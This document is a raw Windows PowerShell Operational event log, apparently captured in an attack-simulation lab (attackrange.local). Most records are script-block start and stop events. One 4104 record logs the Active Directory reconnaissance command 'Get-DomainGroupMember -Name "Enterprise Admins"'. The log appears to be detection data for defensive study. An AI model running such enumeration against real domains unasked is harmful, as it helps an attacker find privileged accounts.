Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052300
Keywords=None
Message=Started invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052299
Keywords=None
Message=Completed invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052298
Keywords=None
Message=Started invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052297
Keywords=None
Message=Completed invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052296
Keywords=None
Message=Started invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052295
Keywords=None
Message=Completed invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052294
Keywords=None
Message=Started invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052293
Keywords=None
Message=Completed invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052292
Keywords=None
Message=Started invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052291
Keywords=None
Message=Completed invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052290
Keywords=None
Message=Started invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052289
Keywords=None
Message=Completed invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052288
Keywords=None
Message=Started invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052287
Keywords=None
Message=Completed invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052286
Keywords=None
Message=Started invocation of ScriptBlock ID: 223c379f-eb04-4525-ab88-0f6eb5ee0a6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052285
Keywords=None
Message=Completed invocation of ScriptBlock ID: de40bbcd-0f28-4b5b-9e7d-72e3559a2d6a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052284
Keywords=None
Message=Started invocation of ScriptBlock ID: de40bbcd-0f28-4b5b-9e7d-72e3559a2d6a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052283
Keywords=None
Message=Completed invocation of ScriptBlock ID: 0c412196-ed35-47c2-87fb-b54aad3da58a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052282
Keywords=None
Message=Started invocation of ScriptBlock ID: 0c412196-ed35-47c2-87fb-b54aad3da58a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052281
Keywords=None
Message=Completed invocation of ScriptBlock ID: cd3f0947-b1b7-4f96-803c-149e653b387a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052280
Keywords=None
Message=Started invocation of ScriptBlock ID: cd3f0947-b1b7-4f96-803c-149e653b387a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052279
Keywords=None
Message=Started invocation of ScriptBlock ID: 8fbec82f-0012-4b67-91e4-27d3e4d0e357
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4104
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Execute a Remote Command
OpCode=On create calls
RecordNumber=2052278
Keywords=None
Message=Creating Scriptblock text (1 of 1):
Get-DomainGroupMember -Name "Enterprise Admins"

ScriptBlock ID: 8fbec82f-0012-4b67-91e4-27d3e4d0e357
Path:
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052277
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052276
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052275
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052274
Keywords=None
Message=Completed invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052273
Keywords=None
Message=Started invocation of ScriptBlock ID: d4a74703-fad6-4428-b0e5-caafad48ac1d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052272
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052271
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052270
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052269
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052268
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052267
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052266
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052265
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:22 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052264
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:28 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052508
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:28 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052507
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:28 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052506
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:28 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052505
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:28 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052504
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:28 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052503
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:28 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052502
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:28 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052501
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:28 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052500
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:28 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052499
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:34 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052518
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:34 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052517
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:34 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052516
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:34 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052515
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:34 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052514
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:34 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2052513
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:34 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2052512
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:34 PM
